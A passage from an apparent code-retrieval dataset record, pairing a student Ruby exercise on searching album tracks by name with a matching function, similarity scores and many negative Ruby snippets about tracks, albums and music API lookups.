[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
HERE IS WHERE MY PROBLEM IS search for track by name. Returns the index of the track or 1 if not found Put a while loop here that searches through the tracks Use the read_string() function from input_functions. NB: you might need to use .chomp to compare the strings correctly
def search_for_track_name(tracks, search_string) # search_string = gets.chomp index = 0 while (index < tracks.length) if (tracks[index].name == search_string) return index end index += 1 end return -1 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def search_for_track_name(tracks, search_string)\nputs (\"Searching for track: \" + search_string)\nfound_index = -1\ni = 0\n\twhile (i < tracks.length)\n\t\t\t# track = tracks[i]\n\t\t\tif (tracks[i].name.chomp == search_string.chomp)\n\t\t\t\tfound_index = i\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\tfound_index\nend", "def search_for_track_name(tracks, search_string)\n\n\t# Put a while loop here that searches through the tracks\n\t# Use the read_string() function from input_functions.\n\t# NB: you might need to use .chomp to compare the strings correctly\n\n\t# Put your code here.\n#*THIS IS WHERE I NEED THE MOST HELP*\t\n\t$index = 0\n\tfound_index = ()\n\twhile search_string != found_index\n\t\tfound_index = tracks[$index.to_i]\n\t\t$index = $index.to_i + 1\n\tend\n\treturn found_index\nend", "def search_for_track_name(tracks, search_name)\n\tfound_index = -1\n\ti = 0\n\twhile i < tracks.length\n\t\ttrack = tracks[i]\n\t\tif track.name.downcase.chomp.include? search_name.chomp.downcase\n\t\t\tfound_index = i\n\t\tend\n\t\ti = i + 1\n\tend\n\n found_index\nend", "def main\n music_file = File.new(\"album.txt\", \"r\")\n\talbum = read_album(music_file)\n music_file.close()\n\n search_string = read_string(\"Enter the track name you wish to find: \")\n index = search_for_track_name(album.tracks, search_string)\n if index > -1\n puts \"Found \" + album.tracks[index].name + \" at \" + index.to_s\n else\n puts \"Entry not Found\"\n end\n\nend", "def main\n music_file = File.new(\"album.txt\", \"r\")\n\talbum = read_album(music_file)\n music_file.close()\n\n search_string = read_string(\"Enter the track name you wish to find: \")\n index = search_for_track_name(album.tracks, search_string)\n\tif index > -1\n\t\tputs '**************************************************************'\n\t\tputs \"Found \" + album.tracks[index].name.chomp + \" at \" + index.to_s\n\t\tputs '**************************************************************'\n else\n puts \"Entry not Found\"\n end\n\nend", "def main\n music_file = File.open(\"album.txt\", 'r')\n if music_file\n album = read_album(music_file)\n album.tracks = read_tracks(music_file)\n music_file.close()\n end\n puts \"Enter the track name you wish to find: \"\n search_string = gets.chomp\n index = search_for_track_name(album.tracks, search_string)\n if index > -1\n puts \"Found \" + album.tracks[index].name + \" at \" + index.to_s\n # print_album(album)\n else\n puts \"Entry not Found\"\n end\nend", "def main()\n \tmusic_file = File.new(\"album.txt\", \"r\")\n\ttracks = read_tracks(music_file)\n \tmusic_file.close()\n\n \tsearch_string = read_string(\"Enter the track name you wish to find: \")\n \t$index = search_for_track_name(tracks, search_string)\n \tif $index > -1\n \t\tputs \"Found \" + tracks[$index].name + \" at \" + $index.to_s()\n \telse\n \tputs \"Entry not Found\"\n \tend\nend", "def return_song(user_input, songs)\n songs.each_with_index do |song, idx|\n if user_input == song\n return song\n elsif user_input.to_i == (idx + 1)\n return song\n end\n end\nend", "def read_track index\n\ttrack_name = read_string('Please enter track No.' + (index + 1).to_s + ' name.')\n\ttrack_file_location = read_string('Please enter track No.' + (index + 1).to_s + ' file location.')\n\ttrack = Track.new(track_name, track_file_location)\n\ttrack\nend", "def find_song_by_name(user_input, songs)\n songs.each { |song| return true if user_input == song }\n\n false\nend", "def get_tracks search\n sa = search.split(' ')\n\n if sa.size > 1\n case sa.first\n when 'u' \n sa.shift\n @sc_client.User.find(sa.join('-')).tracks\n when 't'\n sa.shift\n @sc_client.Track.find(:all,:params => { :q => sa.join('-') } )\n else\n @sc_client.Track.find(:all,:params => { :q => sa.join('-')} )\n end\n else\n @sc_client.Track.find(:all,:params => { :q => search } )\n end\n end", "def search_song\n song_query = @prompt.ask('What is the name of the song?'.colorize(:light_green))\n tracks = RSpotify::Track.search(song_query, limit: 5)\n cleaned_results = []\n tracks.each { |t| cleaned_results << \"#{t.name} by #{t.artists[0].name}\" }\n system('clear')\n cleaned_results << 'Back'\n selection = @prompt.select('Please select one of the search results:', cleaned_results).split(' by ')\n add_to_list if selection[0] == 'Back'\n store_song(selection)\n end", "def find_playlist_by_name name\n @playlists.each do |playlist|\n return playlist.index if name == playlist.name\n end\n end", "def search_song\n puts \"Enter the song name:\"\n song = get_user_input.titleize\n song_instance = Song.find_by(name: song)\n while !song_instance do\n puts \"Invalid, try again:\"\n song = get_user_input.titleize\n song_instance = Song.find_by(name: song)\n end\n return song_instance.name\n end", "def find_name(data, name)\n found = false\n data.each do |champ|\n if champ[1].downcase == name\n puts \">>> \" + champ[1] + \", \" + champ[2]\n found = true\n return champ[0].to_i\n end\n end\n if not found\n puts name + \" was not found. Please try again!\"\n end\n return -1 \nend", "def play(songs)\n puts \"Please enter a song name or number\"\n input = gets.chomp\n songs.each.with_index(1) do |song, idx|\n if input.to_i == idx || input == song\n puts \"Playing #{song}\"\n break\n else\n puts \"Invalid input, please try again\"\n break\n end \n end\nend", "def search_gen(input_arr,artists)\n len = input_arr.count\n singer_name = input_arr[2,len - 1] * \" \"\n if(artists.key?(singer_name))\n puts artists[singer_name]\n else\n puts \"Invalid artist name.\"\n end\n end", "def find_song_by_number(user_input, songs)\n user_input_num = user_input.to_i\n\n songs.each_with_index { |song, idx| return true if user_input_num == (idx + 1) }\n\n false\nend", "def choose_track(deezer_response, artist, title)\n case deezer_response.count\n when 1\n searched_songs_mapping(deezer_response).first\n when 0\n puts(\"Track #{artist} - #{title} not found in Deezer.\", @puts_args)\n nil\n else\n searched_songs_mapping(deezer_response).select do |track|\n TextHelper.names_similar?(track[:artist].downcase, artist.downcase) &&\n TextHelper.names_similar?(track[:title].downcase, title.downcase)\n end.first\n end\n end", "def searchSpotify(inArtist)\n tArtist = CGI.escape(inArtist)\n \n outstring = open('http://ws.spotify.com/search/1/artist?q='+tArtist, 'User-Agent' => 'Ruby-Wget').read\n\n outdata = outstring.split(\"<opensearch:totalResults>\")\n\n outdata.delete_at(0);\n\n if outdata[0].split(\"</opensearch:totalResults>\")[0].to_i > 0\n outinfo = outstring.split(\"<artist href=\");\n return outinfo[1].split(\">\")[0];\n else\n return 0\n end\n end", "def play(songs)\n puts \"Please enter a song name or number:\"\n user_song = gets.chomp\n valid = false\n \n # Puts playing message if input is song number or part of song name\n songs.each.with_index do |song, index|\n if user_song.to_i == index + 1 || song.include?(user_song)\n puts \"Playing #{songs[index]}\"\n valid = true\n # elsif song.include?(user_song)\n # puts \"Playing #{user_song}\"\n # valid = true\n end\n end\n # If no matches, output error message\n puts \"Invalid input, please try again\" if valid == false\nend", "def play(songs)\n\tputs \"Please enter a song name or number:\"\n\tinput = gets.strip\n\tsongs.each_with_index do |song, index|\n\t\tnum = index + 1\n\t\t# title = get_song_title(song)\n\t\tif input == num.to_s || input == song\n\t\t\tputs \"Playing #{song}\"\n\t\t\treturn\n\t\tend\n\tend\n\tputs \"Invalid input, please try again\"\nend", "def search_albums_by_genre albums\r\n print_album_genres(albums)\r\n puts('Select Album ID')\r\n id = read_integer_in_range('Enter number: ', 0, albums.count-1 )\r\n\r\n print_album_title_and_tracks(albums[id])\r\n return albums[id] \r\nend", "def read_track music_file\r\n\tname = music_file.gets.chomp\r\n location = music_file.gets\r\n track = Track.new(name, location)\r\n return track\r\nend", "def read_track(a_file)\n track_name = a_file.gets.chomp\n track_location = a_file.gets.chomp\n returning_track = Track.new(track_name, track_location)\n return returning_track\n end", "def read_track a_file\n track_name = a_file.gets().chomp\n file_name = a_file.gets().chomp\n track = Track.new(track_name, file_name)\n return track\nend", "def find_index(name)\n\t\tindex = 0\n\t\tfound = false\n\n\t\ttodo_items.each do |item|\n\t\t\tif item.name == name\n\t\t\tfound = true\n\t\tend\n\t\tif found\n\t\t\tbreak\n\t\telse\n\t\t\tindex += 1\n\t\tend\n\tend\n\t\tif found\n\t\t\treturn index\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def read_track\r\n\ttrack_name = read_string('Enter Track Name: ')\r\n\ttrack_location = read_string('Enter Track location: ')\r\n\tTrack.new(track_name, track_location)\r\nend", "def query_metadata filename\n song = File.basename(filename, File.extname(filename))\n track = filename[/[0-9]+ /]\n\n unless track.nil?\n song = song[track.size .. -1]\n track = track.to_i\n end\n\n return track,song\nend", "def find_by_name(name)\n #@@artist.detect{|a| a.name == name}\n all.detect{|a| a.name == name}\n end", "def search(exercise_name)\n for i in [email protected] do\n if @exercises[i].name == exercise_name\n return i\n end\n end\n\n #Fail to find, returns -1\n return -1\n end", "def lookup_track_info(track_mbid, artist_name, track_name)\r\n\t\tputs \"looking up info for \" + artist_name + \"|\" + track_name\r\n\t\tbegin\r\n\t\t\ttrack = @lastfm.track.get_info(:track_mbid => track_mbid, :artist => artist_name, :track => track_name, :username => @username)\r\n\r\n\t\t\tputs track\r\n\t\t\[email protected]( \"INSERT INTO track_history (time_utc, artist_mbid, artist_name, track_mbid, track_name, album_mbid, album_name) VALUES (?,?,?,?,?,?,?)\", t[\"date\"][\"uts\"], t[\"artist\"][\"mbid\"], t[\"artist\"][\"content\"], t[\"mbid\"], t[\"name\"], t[\"album\"][\"mbid\"], t[\"album\"][\"content\"] )\r\n\t\trescue\r\n\t\t\t# (Lastfm::ApiError)\r\n # Track not found\r\n puts \"Track not found or something - \" + track_mbid + \" \" + track_name\r\n\r\n\t\tend\r\n\r\n\r\n\tend", "def search(games, search_term)\n search_index = games.find_index(search_term)\n search_result = if search_index\n \"Game #{search_term} found: #{games[search_index]} at index #{search_index}.\"\n else\n \"Game #{search_term} not found.\"\n end\n return search_result\nend", "def tracks_search params = { :query => 'love', :page => 1 }\n json = send_request 'tracks_search', params\n if json['success'] == true\n json['tracks']\n else\n puts \"Error: \" + json['message']\n exit\n end\n end", "def play(songs)\n puts \"Please enter a song name or number:\"\n user_input = gets.strip\n\n if find_song_by_name(user_input, songs) || find_song_by_number(user_input, songs)\n puts \"Playing #{return_song(user_input, songs)}\"\n else\n puts \"Invalid input, please try again\"\n end\nend", "def has_item_by_string(name)\n inventory.each_with_index do |couple, index|\n if (name.casecmp(couple.first.name) == 0)\n return index\n end\n end\n\n return -1\n end", "def search_album\n puts \"Enter the album name:\"\n album = get_user_input.titleize\n album_instance = Album.find_by(title: album)\n while !album_instance do\n puts \"Invalid, try again:\"\n album = get_user_input.titleize\n album_instance = Album.find_by(title: album)\n end\n var = album_instance.title\n end", "def play(songs)\nputs \"Please enter a song name or number:\"\ngets.chomp\nanswer = gets.chomp\nif answer.class == String && songs.include?(answer)\nputs \"Playing #{answer}\"\nelsif (1..9).to_a.include?(answer.to_i)\n puts \"Playing #{songs[answer.to_i - 1]}\"\nelse\nputs \"Invalid input, please try again\"\nend\nend", "def read_tracks music_file\n\ttracks = Array.new()\n\tcount = music_file.gets().to_i\n tracks = Array.new\n\n # Put a while loop here which increments an index to read the tracks\n\n track = read_track(music_file)\n tracks << track\n\n\ttracks\nend", "def has_item_by_string(name)\n inventory.each_with_index do |couple, index|\n if (name.casecmp(couple.first.name) == 0)\n return index\n end\n end\n return -1\n end", "def search_audio_file(file_name)\n # Trace.debug(\"Search audio for track #{@rtrack.to_s.brown}\")\n extensions = Cfg.size_over_quality ? FILE_EXTS_BY_SIZE : FILE_EXTS_BY_QUALITY\n\n extensions.each do |ext|\n if File.exists?(file_name+ext)\n set_audio_state(Status::OK, file_name+ext)\n return audio.status\n end\n end\n\n # Remove the root dir & genre dir to get the appropriate sub dir\n file = track_dir(file_name)\n Dir[Cfg.music_dir+'*'].each do |entry|\n next unless File.directory?(entry)\n extensions.each do |ext|\n if File.exists?(entry+file+ext)\n set_audio_state(Status::MISPLACED, entry+file+ext)\n return audio.status\n end\n end\n end\n\n set_audio_state(Status::NOT_FOUND, nil)\n return audio.status\n end", "def find_song_by_title(songs, title)\n songs.find do |song|\n song[:title] == title\n end\n end", "def find_track(track_name, next_url: nil, all: false)\n uri = next_url.nil? ? 'https://api.deezer.com/search/track' : next_url\n headers = {params: {access_token: @access_token, q: track_name, strict: 'on'}}\n if all\n iterator_wrapper(__method__, track_name, next_url: uri)\n else\n response = RestWrapper.perform_request(uri, :get, headers)\n next_url.nil? ? response['data'] : response\n end\n end", "def search_track\n term = params[:search_track][:term].strip # remove trailing spaces\n unless term.empty?\n @term = term\n #logger.debug \"searching for: \" + @term\n @tracks = Track.search @term \n render \"/searches/track_results\"\n else\n redirect_to root_url, :notice => \"You must enter a search term.\"\n end\n end", "def search(artist, song)\n RSpotify.authenticate(ENV['SPOTIFY_CLIENT_ID'], ENV['SPOTIFY_CLIENT_SECRET'])\n result = RSpotify::Track.search(\"#{song} #{artist}\", limit: 1, market: 'US').first\n if !!result\n format_result(result)\n else\n nil\n end\n end", "def read_track a_file\n track_title = a_file.gets()\n track_location = a_file.gets()\n track = Track.new(track_title, track_location)\n track\nend", "def play_song\n input = gets.chomp.to_i\n puts \"Which song number would you like to play?\"\n list_of_songs = Song.all.uniq.sort {|a, b| a.name <=> b.name}\n # if input is valid, then puts the matching song\n # how to check for valid input? integer of 1 through length of all songs\n if (1..Song.all.uniq.length).include?(input)\n song = list_of_songs[input - 1]\n puts \"Playing #{song.name} by #{song.artist.name}\"\n end\n end", "def search_tracks(q, page=1)\n \t response_body = get_body(http_get(\"http://ws.spotify.com/search/1/track.json?q=#{CGI.escape(q)}&page=#{page}\"))\n \t json = ActiveSupport::JSON.decode(response_body)\n to_tracks(json[\"tracks\"])\n \tend", "def read_tracks\n\ttracks = Array.new()\n\tcount = read_integer_in_range(\"Enter track count: \", 0, 15)\n\ti = 0\n\twhile i < count\n\t\ttrack = read_track(i)\n\t\ttracks << track\n\t\ti += 1\n\tend\n\ttracks\nend", "def play_song\n puts \"Which song number would you like to play?\"\n input = gets.strip.to_i\n songs = Song.all.sort_by {|song| song.name}.uniq\n if input > 0 && input <= songs.count\n puts \"Playing #{songs[input - 1].name} by #{songs[input - 1].artist.name}\"\n end\n end", "def list_songs_by_artist\n puts \"Please enter the name of an artist:\"\n input = gets.chomp\n if artist = Artist.find_by_name(input)\n sort_by_name = artist.songs.sort_by do |song|\n song.name\n end\n sort_by_name.each.with_index(1) do |song, i|\n puts \"#{i}. #{song.name} - #{song.genre.name}\"\n end\n end\n end", "def read_tracks music_file\n\tcount = music_file.gets().to_i\n tracks = Array.new\n track = File.open(\"input.txt\")\n i = 0\n while (i < count)\n track = read_track(music_file)\n tracks << track\n i += 1\n end \ntracks\nend", "def search_file_name\n file_name = ''\n if @artist_id && @artist_id != 0\n artist_name = ARUtils.field( Artist , @artist_id , :name )\n file_name = artist_name if artist_name\n end\n if @album_id && @album_id != 0\n album_name = ARUtils.field( Album , @album_id , :name )\n file_name += ' - ' if ! file_name.empty?\n if album_name\n file_name += album_name\n end\n end\n file_name = 'songs' if file_name.empty?\n return ImagesModule.safe_file_name(file_name, true)\n end", "def scanSameNameWithDifferentSimilarTrackCount()\n problemCount = 0;\n SimilarTracksVersionControl.find(:all, :conditions => [\"version = ? and status = ? and similar_track_count > ?\" , 1, 1, 0]).each do |strack|\n puts \"track_id:\" + strack.track_id.to_s();\n \n\n scs = SimilarTracksVersionControl.find(:all, :order => \"similar_track_count desc\", :limit => 1, :conditions => [\"track_name = ? and track_artist_id = ? and track_id != ? and status = ? and similar_track_count > ?\", strack.track_name, strack.track_artist_id, strack.track_id, 1, 0]);\n status = 0;\n if (scs != nil and !scs.empty?)\n sc = scs.first;\n puts \"matched track_id:\" + sc.track_id.to_s();\n if (strack.similar_track_count < sc.similar_track_count)\n strack.same_name_with_different_similar_track_count_fix = sc.track_id;\n strack.status = 200;\n strack.save();\n puts \"need fix:\" + strack.similar_track_count.to_s + \" < \" + sc.similar_track_count.to_s;\n problemCount = problemCount + 1;\n end\n\n end\n \n \n end #end of loop\n puts \"total needs fix:\" + problemCount.to_s();\n \n end", "def search_track(artist, track)\n PeopleSearch.search_track(artist, track, @api_key, @https)\n end", "def station_index(station, name)\r\n lines.each {|line, stations|\r\n if line == name\r\n stations.each_with_index {|x, index|\r\n if x == station.to_s\r\n return index\r\n end\r\n }\r\n end\r\n }\r\n end", "def search_trail_name(trail_array)\n system 'clear'\n puts \"------TRAILS------\"\n search_name = @prompt.ask(\"Enter name: \", required: true)\n search_results = trail_array.find_by(name: search_name)\n if search_results.nil?\n puts \"No trail found by that name.\"\n else\n trail_printer(search_trail)\n end\n end", "def read_tracks\r\n\ttracks = Array.new()\r\n\tcount = read_integer_in_range(\" Enter number of tracks:\", 1, 15)\r\n\tindex = 0\r\n\twhile index < count\r\n\t\ttrack = read_track()\r\n\t\ttracks << track\r\n\t\tindex += 1\r\n\tend\r\n\ttracks\r\nend", "def play_song\r\n list_of_songs = Song.all.sort{ |a, b| a.name <=> b.name }\r\n\r\n music_controller = MusicLibraryController.new\r\n music_controller.list_songs\r\n puts \"Which song number would you like to play?\"\r\n input = gets.strip.to_i\r\n #if (input > 0) && (input <= list_of_songs.size)\r\n #if (input > 0) && (input <= list_of_songs.size) \r\n if (1..Song.all.length).include?(input)\r\n song = list_of_songs[input-1]\r\n puts \"Playing #{song.name} by #{song.artist}\"\r\n end\r\n\r\nend", "def nextTrack(current_track)\n if current_track == @tracks.length() - 1\n return 0\n else \n return current_track + 1\n end\n end", "def read_tracks music_file\n count = music_file.gets().to_i\n tracks = Array.new\n\n while count > 0\n count -= 1\n \n track = read_track(music_file)\n tracks << track\n end\n tracks\nend", "def read_track(music_file)\n\t# fill in the missing code\n\ttrack_name = music_file.gets()\n\ttrack_location = music_file.gets()\n\ttrack = Track.new(track_name, track_location)\nend", "def unique_track_name(name)\n i = 2\n name_key = name\n while @tracks.has_key? name_key\n name_key = \"#{name}#{i.to_s}\"\n i += 1\n end\n \n return name_key\n end", "def find_playlists_for_song(song_name)\n track_array = self.find_track_ids_for_song_name(song_name)\n # This array contains matching playlists id for track_ids\n matching_playlists_array = []\n # Enumerate through each track id for the song name \n track_array.each do |a_track_id|\n\n # Enumerate through playlists\n self.lib.playlists.each_value do |playlist|\n if playlist.track_ids.include?(a_track_id)\n matching_playlists_array << playlist.metadata['playlist_id']\n end\n end \n end \n puts matching_playlists_array\n matching_playlists_array\n end", "def find_tracks_for_trackable(trackable_str, trackable_id)\n find(:all,\n :conditions => [\"trackable_type = ? and trackable_id = ?\", trackable_str, trackable_id],\n :order => \"created_at DESC\"\n )\n end", "def play(songs)\n puts \"Please enter a song name or number:\"\n song_choice = gets.chomp\n if song_choice.to_i > 0 && song_choice.to_i < 9\n puts \"Playing #{songs[song_choice.to_i-1]}\"\n elsif songs.include?(song_choice)\n puts song_choice\n else\n puts \"Invalid input, please try again\"\n end\nend", "def read_track music_file\n\tname = music_file.gets\n\tlocation = music_file.gets\n\ttrack = Track.new(name, location)\n\ttrack\nend", "def iterative_search(name)\n # Create an index and start at 0\n #index = 0\n @entries.each do |entry|\n if name == entry.name\n return entry\n #index += 1\n else\n return nil\n end\n end\n end", "def find_match_index (fileArray, match_string)\n fileArray.each_index {|index|\n if fileArray[index].include?(match_string)\n return index # no error checking, SO MAKE SURE THE MATCH EXISTS IN YOUR FILE\n end}\nend", "def play(songs)\n puts \"What song would you like to play?\"\n choice = gets.strip #gets will make it a string\n if songs.include?(choice) #this would be better if we regex'ed it for presence of the first word because people are usually too lazy to type everything\n puts choice\n else\n if choice.to_i > songs.size || choice.to_i < 0\n puts \"Invalid input, please try again!\" \n else\n puts \"Playing #{songs[choice.to_i-1]}\"\n end\n end\n puts choice\nend", "def find_by_name(name)\r\n @internal_list.find {|album| album.name == name}\r\n end", "def checkInPlayList(tracks)\n\tuser = User.find(session[:user_id])\n\tplaylist = user.songs\n\tmySearchObj = {}\n\tmySearchArr = []\n tracks.each do |track|\n\t\tmySearchObj = {:title => track.title, :songid => track.id }\n\t\tif playlist.any?{|song| song.songid.to_i == track.id.to_i}\n\t\t\tmySearchObj[:inPlaylist] = true\n\t\telse \n\t\t\tmySearchObj[:inPlaylist] = false\n\t\tend\n\t mySearchArr.push(mySearchObj)\n\tend\n return mySearchArr\nend", "def search_vertices(list, s, index)\n for i in (0..list.length-1)\n if(!list[i].nil? and !s.nil?) \n #if the vertex exists and in the same sentence (index)\n if(list[i].name.casecmp(s) == 0 and list[i].index == index)\n # puts(\"***** search_vertices:: Returning:: #{s}\")\n return list[i]\n end\n end\n end\n # puts(\"***** search_vertices:: Returning nil\")\n return nil\nend", "def searchTweet(comedian, newName)\n\tloop do\n\t\tputs \"\\n\\nEnter a key to search for (example, mitch5):\"\n\t\tchoice = gets.strip().downcase()\n\t\tif !comedian.has_key?(choice)\n\t\t\tputs \"\\n**RECORD NOT FOUND**\\n\"\n\t\telsif comedian.has_key?(choice)\n\t\t\tsearch = \"(#{choice})\" + \" \" + comedian[choice]\n\t\t\tputs \"\\n\\nFound it!\" + \" \" + search + \"\\n\\n\"\n\t\t\treturn search\n\t\tend\n\tend\nend", "def main\n a_file = File.new(\"input.txt\", \"r\") \n if a_file \n tracks = read_tracks(a_file)\n a_file.close\n else\n puts \"Unable to open file to read!\"\n end\n print_tracks(tracks)\nend", "def person_cheers_song(pl, favourite_song)\n \n for tune in pl\n if tune == favourite_song\n return \"yaaay!\"\n else \n return \"didn't find my favourite\" \n end \n end \n end", "def update\n STDOUT.sync = true\n tracks = []\n\n app = Appscript.app.by_name(\"iTunes\", Tunes) \n\n iTunes_tracks = app.selection.get\n if iTunes_tracks.count == 0\n iTunes_tracks = app.library_playlists[1].tracks.get\n end\n\n print \"Reading #{iTunes_tracks.count} tracks \"\n iTunes_tracks.each do | iTunes_track |\n begin\n if iTunes_track.kind.get == 'Matched AAC audio file'\n track = Track.new(iTunes_track)\n unless track.valid?\n tracks << track\n print '*' if ((tracks.count % WORK_SIZE) == 0)\n end\n end\n rescue StandardError => e\n puts e\n end\n end\n puts ''\n\n # all 2 char countries codes lots currently not valid %w(AF AX AL DZ AS AD AO AI AQ AG AR AM AW AU AT AZ BS BH BD BB BY BE BZ BJ BM BT BO BQ BA BW BV BR IO BN BG BF BI KH CM CA CV KY CF TD CL CN CX CC CO KM CG CD CK CR CI HR CU CW CY CZ DK DJ DM DO EC EG SV GQ ER EE ET FK FO FJ FI FR GF PF TF GA GM GE DE GH GI GR GL GD GP GU GT GG GN GW GY HT HM VA HN HK HU IS IN ID IR IQ IE IM IL IT JM JP JE JO KZ KE KI KP KR KW KG LA LV LB LS LR LY LI LT LU MO MK MG MW MY MV ML MT MH MQ MR MU YT MX FM MD MC MN ME MS MA MZ MM NA NR NP NL NC NZ NI NE NG NU NF MP NO OM PK PW PS PA PG PY PE PH PN PL PT PR QA RE RO RU RW BL SH KN LC MF PM VC WS SM ST SA SN RS SC SL SG SX SK SI SB SO ZA GS SS ES LK SD SR SJ SZ SE CH SY TW TJ TZ TH TL TG TK TO TT TN TR TM TC TV UG UA AE GB US UM UY UZ VU VE VN VG VI WF EH YE ZM ZW)\n\n countries = %w(AU US GB FR DE CA IT JP DZ AO AI AG AR AM AT AZ BS BH BD BB BY BE BZ BM BO BW BR BN BG CM KY CL CN CO CR CI HR CY CZ DK DM DO EC EG SV EE ET FI GH GR GD GT GY HN HK HU IS IN ID IE IL JM JO KZ KE KR KW LV LB LY LI LT LU MO MK MG MY MV ML MT MU MX MD MS MM NP NL NZ NI NE NG NO OM PK PA PY PE PH PL PT QA RO RU KN LC VC SA SN RS SG SK SI ZA ES LK SR SE CH TW TZ TH TT TN TR TC UG UA AE UY UZ VE VN VG YE)\n\n puts \"Found #{tracks.count} matched tracks\"\n countries.each do | country |\n print \"Querying #{country} store for #{tracks.count} tracks \"\n counter = 0\n tracks.dup.each.each_slice(WORK_SIZE) do | subtracks |\n ids = subtracks.map { | track | track.iTunes_id }\n iTunesUrl = \"http://itunes.apple.com/lookup?id=#{ids.join(',')}&country=#{country}\"\n # puts \"QUERY: #{iTunesUrl}\"\n iTunesHash = JSON.parse(open(iTunesUrl).read)\n print '*'\n iTunesHash['results'].each do | result |\n result_id = result['trackId']\n subtracks.each do | track |\n if result_id == track.iTunes_id\n result['year'] = Date.parse(result['releaseDate']).year if update_year\n track.update_track(result, update_year, dry_run, verbose) \n tracks.delete(track)\n counter += 1\n break\n end\n end\n end\n end\n puts \" #{counter} updated\"\n break if tracks.empty?\n end\n\n puts \"Couldn't find meatadata for #{tracks.count} tracks\" if tracks.count != 0\n end", "def search_artist\n artist_query = @prompt.ask('What is the name of the artist?'.colorize(:light_green))\n artists = RSpotify::Artist.search(artist_query, limit: 5)\n cleaned_results = []\n artists.each { |a| cleaned_results << a.name.to_s }\n system('clear')\n selection = @prompt.select('Please select one of the search results:', cleaned_results)\n store_artist(selection)\n end", "def read_track(file)\n name = file.gets\n location = file.gets\n track_kay = @index_track_key\n Track.new(name, location, track_kay)\n end", "def play(abc)\n puts\"Please enter a song name or number:\"\n xyz=gets.chomp\n if xyz.to_i>0 and xyz.to_i<=abc.size\n puts \"PLaying #{abc[xyz.to_i-1]}\"\n elsif abc.include?(xyz)\n puts \"PLaying #{xyz}\"\n else\n puts \"Invalid input, please try again\"\n end\nend", "def unique_track_name(name)\n i = 2\n name_key = name\n while @tracks.has_key? name_key\n name_key = \"#{name}#{i.to_s}\"\n i += 1\n end\n\n name_key\n end", "def find_instrument_id_by_name(study_id, name)\n instruments = list_instruments study_id\n hash = instruments.find { |i| i[\"label\"] == name }\n if hash\n hash[\"instrument_id\"]\n else\n nil\n end\n end", "def find(input)\n end", "def pfind(name, location)\n result = nil\n [name, name.upcase, name.downcase].each do |n|\n next if result\n result = location[n].first if location[n] && location[n].size > 0\n end\n STDERR.puts \"found #{result} for #{name}\" if $test\n\n result\nend", "def find(str)\n index = items.index {|i| i.index > current_row && i.name.start_with?(str)} || items.index {|i| i.name.start_with? str}\n move_cursor index if index\n end", "def whichartistaddalbum\n\tif $list.none? == true\n\t\tputs \" \"\n\t\tputs \"You haven't added any artists yet!\"\n\telse\n\t\tloop do\n\t\t\tputs \" \"\n\t\t\tputs \"Which Artist do you want to add an album for? \"\n\t\t\tputs \"(Please type 'back to main menu' to exit.)\"\n\t\t\tputs \" \"\n\t\t\t$artist = gets.chomp\n\t\t\tif $artist.empty? == true\n\t\t\t\tputs \" \"\n\t\t\t\tputs \"You forgot to type the artists name!\"\n\t\t\telsif $artist.downcase == \"back to main menu\"\n\t\t\t\tbreak\n\t\t\telse \n\t\t\t\tif $list.index(\"Artist: #{$artist}\") != nil\n\t\t\t\t\t$currentartist = $list.index(\"Artist: #{$artist}\")\n\t\t\t\t\tbreak\n\t\t\t\telse\n\t\t\t\t\tputs \" \"\n\t\t\t\t\tputs \"This artist does not exist! \"\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\tend\nend", "def search(string)\n raise 'The library is not open!' unless @open\n myStr = string\n count = 0\n pattern = Regexp.new(myStr, 'i')\n unless myStr.length >= 4\n puts 'Search string must contain at least four characters'\n else\n books_available.each_with_index do |line, index|\n tempString = line.to_s\n if tempString =~ pattern\n puts line\n temp_object = books_available.at(index)\n book_ids << temp_object.get_id\n count = count + 1\n end\n end\n\n if count == 0\n puts 'No books found'\n end\n\n end\n\n end", "def search_index(games, search_term)\n search_index = games.find_index(search_term)\n search_index || \"Not Found\"\nend", "def find_item(list, itemname)\n\t# input: list, name of item(string)\n\t# output: index of matching element from list (integer) or nil\n\n\tfound = false\n\tcounter = 0\n\t# iterate through items looking for match\n\tfor item, qty in list\n\t\t# remove matching item from list\n\t\tif item.downcase.strip == itemname.downcase.strip\n\t\t\treturn counter\n\t\tend\n\t\tcounter += 1\n\tend\n\treturn nil\nend", "def search(cmd)\n songs = select_songs_with cmd\n\n if songs.empty?\n failure('It matches not even one')\n else\n playlists[:focus] <= songs\n playlists[:search] <= songs\n success(songs: songs, response_type: :songs)\n end\n end", "def read_tracks(music_file)\n\ttracks = Array.new()\n\tcount = music_file.gets().to_i()\n\n # Put a while loop here which increments an index to read the tracks\n i = 0\n while count > i do\n track = read_track(music_file)\n tracks << track\n i = i + 1\n end\n return tracks\nend", "def test_that_you_may_filter_to_single_track\n getting '/v2/exercises?tracks=fruit'\n\n returns_tracks %w( fruit )\n end", "def read_track music_file\n\tname = music_file.gets()\n\tlocation = music_file.gets()\n\ttrack = Track.new(name, location)\n\treturn track\nend", 